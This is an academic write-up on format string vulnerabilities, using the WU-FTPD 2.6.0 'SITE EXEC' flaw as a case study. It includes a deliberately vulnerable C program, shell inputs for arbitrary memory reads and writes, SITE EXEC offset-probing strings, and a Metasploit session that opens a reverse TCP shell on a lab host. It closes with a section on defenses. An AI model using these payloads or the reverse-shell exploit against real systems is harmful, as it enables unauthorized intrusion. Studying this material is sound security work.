Exploiting Format String Vulnerabilities for Fun and Profit

Miroslav Bartik
mbartik@gmu.edu

Bijan Bassiri
bassiri@gmu.edu

Fotios Lindiakos
flindiak@gmu.edu

1. Introduction

Almost every program written in C contains a format string in some form or another. One of the first lessons a young programmer learns is how to print a message, traditionally by creating a program to output "Hello world!"[5], as seen in Example 1

```
int main() {
  printf("hello, world");
  return 0;
}
```

Example 1: Hello World with static string

Further expanding upon that lesson, programmers needs to know how to print the contents of variables in their programs. They can accomplish this by using the aforementioned format string functions. Example 2 shows a correct way to use the `printf` function with a static format string.

```
int main() {
  printf("An int %d and a string %s\n", intvar, astring)
  return 0;
}
```

Example 2: Hello World with format string

Unfortunately, since many programmers are lazy, they tend to create shortcuts for the process. In doing so, they will invariably create a function that utilizes a variable to construct the format string. This approach however, opens the door for attackers to exploit the format string functions through those variables.

As a case study into learning about format string attacks, we are studying a classic format string vulnerability in Washington University File Transfer Protocol (FTP) Daemon (WU-FTPD). Due to an improperly used format string (which you will see later, an attacker can take advantage of the "SITE EXEC" or "SITE INDEX" command provided by WU-FTPD to execute arbitrary commands on a system.

In this paper we will give the reader a brief history and introduction to format strings, demonstrate what a normal FTP session looks like, show some example programs to demonstrate what format string vulnerabilities can be used for, and exploit a system running WU-FTPD using a format string exploit.

Specifier	Output	Example
c	Character	a
d or i	Signed decimal integer	392
e	Scientific notation (mantise/exponent) using e character	3.9265e+2
E	Scientific notation (mantise/exponent) using E character	3.9265E+2
f	Decimal floating point	392.65
g	Use the shorter of %e or %f	392.65
G	Use the shorter of %E or %f	392.65
o	Unsigned octal	610
s	String of characters	sample
u	Unsigned decimal integer	7235
x	Unsigned hexadecimal integer	7fa
X	Unsigned hexadecimal integer (capital letters)	7FA
p	Pointer address	B800:0000

Table 1: Valid Format String Specifiers [3]

2. Understanding Format String Exploits

```c
#include <stdlib.h>
int main(int argc, char *argv[]){
  char text[1024];
  static int test_val = -72;
  if(argc < 2){
    printf("Usage: %s <text to print>\n", argv[0]);
    exit(0);
  }
  strcpy(text, argv[1]);
  printf("The right way:\n");
  // The right way to print user-controlled input:
  printf("%s", text);
  // ------------------------------------------
  printf("\nThe wrong way:\n");
  // The wrong way to print user-controlled input:
  printf(text);
  // ------------------------------------------
  printf("\n");
  // Debug output
  printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
  exit(0);
}
```

Example 3: A Vulnerable C Program

Format string exploits result from improper input sanitization and improper use of C string formatting functions. Examples of C functions that utilize format strings are: `printf`, `scanf`, `fprintf`, `sprintf`, `snprintf`, `vfprintf`, `vprintf`, `vsprintf`, `vsnprintfi`, and `syslog`.

A format string is a control parameter that tells the above functions how to render an arbitrary number of varied data type parameters into a string. The "%" character precedes a format specifier. Table 1 lists the valid format string specifiers.

Example 4 shows using `printf` to output some desired values.

```
sh# printf "Integer: %d Character: %c String: %s\n" 5 'c' 'hello'
Integer: 5 Character: c String: hello
```

Example 4: Sample printf command

Example 3 shows a sample vulnerable application [2]. Note the vulnerable use of `printf` on line number 16. This function is vulnerable because the function takes input without verifying or formatting it. Line 12 shows the correct way to handle user input into a format string function.

Executing the Vulnerable Program

The first step to exploiting the function is finding the offset on the stack in which we control. We do this by executing the following:

```
sh$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The right way:
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way:
AAAAbffff3bc.00154d7c.00155d7c.00155d7c.000000f0.000000f0.bffff874.00000004.
    00000004.00000174.41414141.78383025
[*] test_val @ 0x0804a024 = -72 0xffffffb8
```

Note the output where the hex string is 41414141 which is the "AAAA" we placed before our hexadecimal format string array. The next step is to arbitrarily read memory. Lets assume we are trying to read a string from `0xbffffeea`, then the following shows how we read the arbitrary address:

```
sh$ ./fmt_vuln $(printf "\xea\xfe\xff\xbf")%08x.%08x.%08x.%08x.%08x.%08x.
    %08x.%08x.%08x.%08x.%s
The right way:
????%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%s
The wrong way:
????bffff3cc.00154d7c.00155d7c.00155d7c.000000f0.000000f0.bffff884.00000004.
    00000004.00000174.PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
    :/sbin:/bin:/usr/games
[*] test_val @ 0x0804a024 = -72 0xffffffb8 (Note this for later)
```

At memory location `0xbffffeea` the string

`PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games`

was printed. The above example utilizes the bash command `$(printf "\xea\xfe\xff\xbf")` to replace the AAAA in previous examples with `0xbffffeea` while correcting the endian.

The next goal is to write arbitrary data. The format string specifier "%n" stores the number of bytes already written to a pointer. Our test program has a variable named `test_val` at memory location `0x804a024`. By modifying the address and the format string the following writes a value to `0x804a024`.

```
sh$ ./fmt_vuln $(printf "\x24\xa0\x04\x08")%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n
The right way:
$%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n
The wrong way:
$bffff3cc.154d7c.155d7c.155d7c.f0.f0.bffff884.4.4.174.
[*] test_val @ 0x0804a024 = 57 0x00000039
```

We successfully overwrote the -72 value with 57 which is the number of bytes written up to that point. The value 57 can be modified by placing a length specifier in front of one of the %x specifiers. The following example shows us writing a 99 to `test_val`.

```
sh$ ./fmt_vuln $(printf "\x24\xa0\x04\x08")%x.%x.%x.%x.%x.%x.%x.%x.%x.%45x.%n
The right way:
```

```
$%x.%x.%x.%x.%x.%x.%x.%x.%x.%45x.%n
The wrong way:
$bffff3cc.154d7c.155d7c.155d7c.f0.f0.bffff884.4.4.174.
[*] test_val @ 0x0804a024 = 99 0x00000063
```

3. FTP Overview

```
sh-4.2$ nc ftp.gmu.edu 21
220-
220-|-----------------------------------------------------------------|
220-| Mason.gmu.edu FTP login retired as of February 2, 2009.         |
220-|                                                                 |
220-| Insecure FTP login is retired February 2, 2009 from             |
220-| mason.gmu.edu to improve security.  Secure Shell File Transfer  |
220-| Protocol (SFTP), Secure Copy (SCP), and anonymous FTP will      |
220-| continue to be supported.                                       |
220-|                                                                 |
220-| The latest information about this change and how to prepare     |
220-| for it is available at http://mason.gmu.edu/ftp.                |
220-|-----------------------------------------------------------------|
220-
220-
220 mason.gmu.edu FTP server ready.
USER anonymous
331 Guest login ok, send your complete e-mail address as password.
PASS a@b.com
230 Guest login ok, access restrictions apply.
HELP
214-The following commands are recognized (* => ' s unimplemented).
   USER    PASV    MODE    MSOM*   RNTO    SITE    RMD     SIZE
   PASS    EPRT    RETR    MSAM*   ABOR    SYST    XRMD    MDTM
   ACCT*   EPSV    STOR    MRSQ*   DELE    STAT    PWD     PROT
   SMNT*   LPRT    APPE    MRCP*   CWD     HELP    XPWD    PBSZ
   REIN*   LPSV    MLFL*   ALLO    XCWD    NOOP    CDUP    AUTH
   QUIT    TYPE    MAIL*   REST    LIST    MKD     XCUP    ADAT
   PORT    STRU    MSND*   RNFR    NLST    XMKD    STOU    CCC
214 Direct comments to ftp-bugs@mason.gmu.edu.
QUIT
221-You have transferred 0 bytes in 0 files.
221-Total traffic for this session was 1580 bytes in 0 transfers.
221-Thank you for using the FTP service on mason.gmu.edu.
221 Goodbye.
```

Example 5: Normal FTP session

Example 5 shows a typical FTP connection. Here we used netcat[6] to intiate a connection to ftp.gmu.edu over port 21, which is FTP's control channel. This control channel is a plaintext protocol over which a user sends various commands to interact with the server. Typically, a user logs in by issuing a "USER" command, and in many cases, such as public FTP servers, a username of "anonymous" is sufficient for read-only access. Most FTP servers are configured to request a user's email address as the password if they are logging in anonymously. We do this by using the "PASS" command and passing 'a@b.com' as the password. Once a user is logged in, FTP supports many additional commands which are specified in FTPs Request for Proposal (RFP). Issuing the "HELP" command will also generally list the available commands. In the above example, after issuing the "HELP" command, the server lists 56 commands. After every command is executed the server will respond with a three digit status code in American Standard Code for Information Exchange (ASCII) with an optional descriptive text message. These messages will be useful in exploiting the WU-FTPD server in later sections.

4. WU-FTPD Overview

WU-FTPD is a free open source FTP server for Unix-like operating systemss written by Chris Myers and Bryan O'Connor at Washington University. Originally it was intended to be run on Washington University's own network to replace the ubiquitous Berkeley Software Distribution (or Berkeley UNIX) (BSD) FTP daemon. In the late 1990's Stan Barber took over stewardship of WU-FTPD, and following Barber the WU-FTPD Development Group took over. WU-FTPD was shipped as a common component of various operating systems such as Red Hat Linux and was developed up to version 2.6.2. The web site for National Institute of Standards and Technology (NIST)'s National Vulnerability Database (NVD) [1] currently lists 22 vulnerabilities over the lifetime of WU-FTPD which hackers can utilize to obtain code execution or conduct a denial of service attack.

5. WU-FTPD "SITE EXEC" Format String Vulnerability

The "SITE EXEC" format string vulnerability affects WU-FTPD versions less then 2.6.1. The WU-FTPD format string vulnerability requires a user to be logged in and issue a "SITE EXEC" command. "SITE EXEC" is fed a string as an argument. After a "SITE EXEC" command is executed the server returns a response string.

The vulnerability lies in the `vreply()` function in "ftpd.c". The vulnerable function is as follows:

```
1  void vreply(long flags, int n, char *fmt, va_list ap){
2    char buf[BUFSIZ];
3    flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG;
4    if (n) /* if numeric is 0, don't output one; use n==0 in place of printf's */
5      sprintf(buf, "%03d%c", n, flags & USE_REPLY_LONG ? '-' : ' ');
6
7    /* This is somewhat of a kludge for autospout.  I personally think that
8     * autospout should be done differently, but that's not my department. -Kev
9     */
10   if (flags & USE_REPLY_NOTFMT)
11     snprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), "%s", fmt);
12   else
13     vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap);
14   if (debug)       /* debugging output :) */
15     syslog(LOG_DEBUG, "<--- %s", buf);
16
17   /* Yes, you want the debugging output before the client output; wrapping
18    * stuff goes here, you see, and you want to log the cleartext and send
19    * the wrapped text to the client.
20    */
21
22   printf("%s\r\n", buf);    /* and send it to the client */
23 #ifdef TRANSFER_COUNT
24   byte_count_total += strlen(buf);
25   byte_count_out += strlen(buf);
26 #endif
27   fflush(stdout);
28 }
```

Example 6: Vulnerable ftpd.c

The format string vulnerability lies in the `vsnprintf` function call on line 13. The variable char *fmt is a user supplied character array which is fed into `vsnprintf` in an unsafe manner.

6. Vulnerability Testing and Research

For our research we installed WU-FTPD version 2.6.0 in Red Hat 6.2. Red Hat had the WU-FTPD 2.6.0 RPM on its default installation media. First, for demonstration purposes, we will execute the vulnerabilities manually utilizing netcat, then in a more advanced manner utilizing Metasploit.

6.1. Manually Finding the Format String Exploit

First step is to locate the buffer on the stack. This can be accomplished by brute forcing through the stack with the following format string:

```
SITE EXEC aaaaaaaa%0$xrn
```

We issue this command, incrementing the number after the "%" until the results display:

```
200-aaaaaaaa61616161rn
200  (end of 'aaaaaaaa%276$xrn ' )
```

Since "61" is the hexadecimal representation of the letter "a", seeing this pattern indicates that we've almost found the offset we are looking for. Now we need to add characters in front of the a's so that we know when we've found the first one. We then repeat the previous process of incrementing the offset, until we are left with only the repeating pattern of "61" after the a's.

```
SITE EXEC Baaaaaaaa%277$xrn
200-baaaaaaaa25616161rn
200  (end of 'baaaaaaaa%277$xrn')

SITE EXEC BBaaaaaaaa%277$xrn
200-bbaaaaaaaa61616161rn
200  (end of 'bbaaaaaaaa%277$xrn')
```

In this example, we've found the alignment offset by adding two b's.

6.2. Using Metasploit to Exploit Vulnerability

Example 7 shows a metasploit exploitation session of the WU-FTPD exploit:

```
msf > use exploit/multi/ftp/wuftpd_site_exec_format
msf  exploit(wuftpd_site_exec_format) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(wuftpd_site_exec_format) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf  exploit(wuftpd_site_exec_format) > set LHOST 192.168.1.7
LHOST => 192.168.1.7
msf  exploit(wuftpd_site_exec_format) > exploit

[*] Started reverse handler on 192.168.1.7:4444
[*] Automatically detecting the target...
[*] FTP Banner: 220 new-host.home FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
[*] Selected Target: RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)
[*] Number of pad bytes: 2
[*] Number of pops: 276
[*] Read 0xbffff528 from offset 2, Target offset: -17664
[*] Writing shellcode to: 0x806e726
[*] Hijacking control via 0xbfffb028
[*] Sending part 1 of the payload...
[*] Sending part 2 of the payload...
[*] Sending part 3 of the payload...
[*] Attempting to write 0x806e726 to 0xbfffb028..
[*] fmtbuf = ?]*???(???%02044x%276$hn%057120x%277$hn
[*] Your payload should have executed now...
[*] Sending stage (36 bytes) to 192.168.1.2
[*] Command shell session 1 opened (192.168.1.7:4444 -> 192.168.1.2:1025) at Sat Nov 12 20:13:29 -0500 2011

/sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:1A:76:D8
          inet addr:192.168.1.2  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING  MTU:1500  Metric:1
          RX packets:104860 errors:0 dropped:0 overruns:0 frame:0
          TX packets:73331 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          Interrupt:5 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:3924  Metric:1
          RX packets:18 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
```

Example 7: Output from Metasploit

7. Defense

Like many other security vulnerabilities, this vulnerability originates from the programmer. It is the programmer's responsibility to test the program against common exploitation methods. The programmer must sanitize all user fed data into their program. Good programming techniques like conducting code audits will help to identify potential format sting vulnerabilities. All of the common format string vulnerable functions, such as `printf` , should be checked to ensure that they are being used in a safe manner. Another possibility is to use "safer" versions of the functions, such as `snprintf` instead of their counterparts. These functions include a parameter for the buffer size, which allows a programmer to control what gets outputted [4]. Setting this to a reasonable value may help prevent most exploits.

Compilers are also now beginning to identify potentially vulnerable code. Example 8 shows a small vulnerable program. Compiling this program with the proper GNU Compiler Collection (GCC) flags instructs the compiler to look for well known format string problems and alert the developer [4]. Example 9 shows the output after running our vulnerable program through the compiler with those options.

```c
#include <stdio.h>

int main(){
    char hello[] = "Hello World!\n";
    printf(hello);
    return 0;
}
```

Example 8: Sample Vulnerable Program

```
sh-4.2$ gcc -Wformat -Wformat-security fms.c
fms.c: In function main:
fms.c:5:5: warning: format not a string literal and no format arguments [-Wformat-security]
```

Example 9: GCC protecting us against potential attack

References

[1] National Institute of Standards and Technology (NIST). National Vulnerability Database (NVD) search vulnerabilities, 2011. [Online; accessed 15-November-2011].

[2] J. Erickson. *Hacking: the art of exploitation*. No Starch Press Series. No Starch Press, 2003.

[3] B.W. Kernighan and D.M. Ritchie. *The C programming language*. Prentice-Hall software series. Prentice Hall, 1988.

[4] R. Stallman. *Using GCC: the GNU compiler collection reference manual*. Free Software Foundation, 2003.

[5] Wikipedia. Hello world program — wikipedia, the free encyclopedia, 2011. [Online; accessed 15-November-2011].

[6] Wikipedia. Netcat — wikipedia, the free encyclopedia, 2011. [Online; accessed 15-November-2011].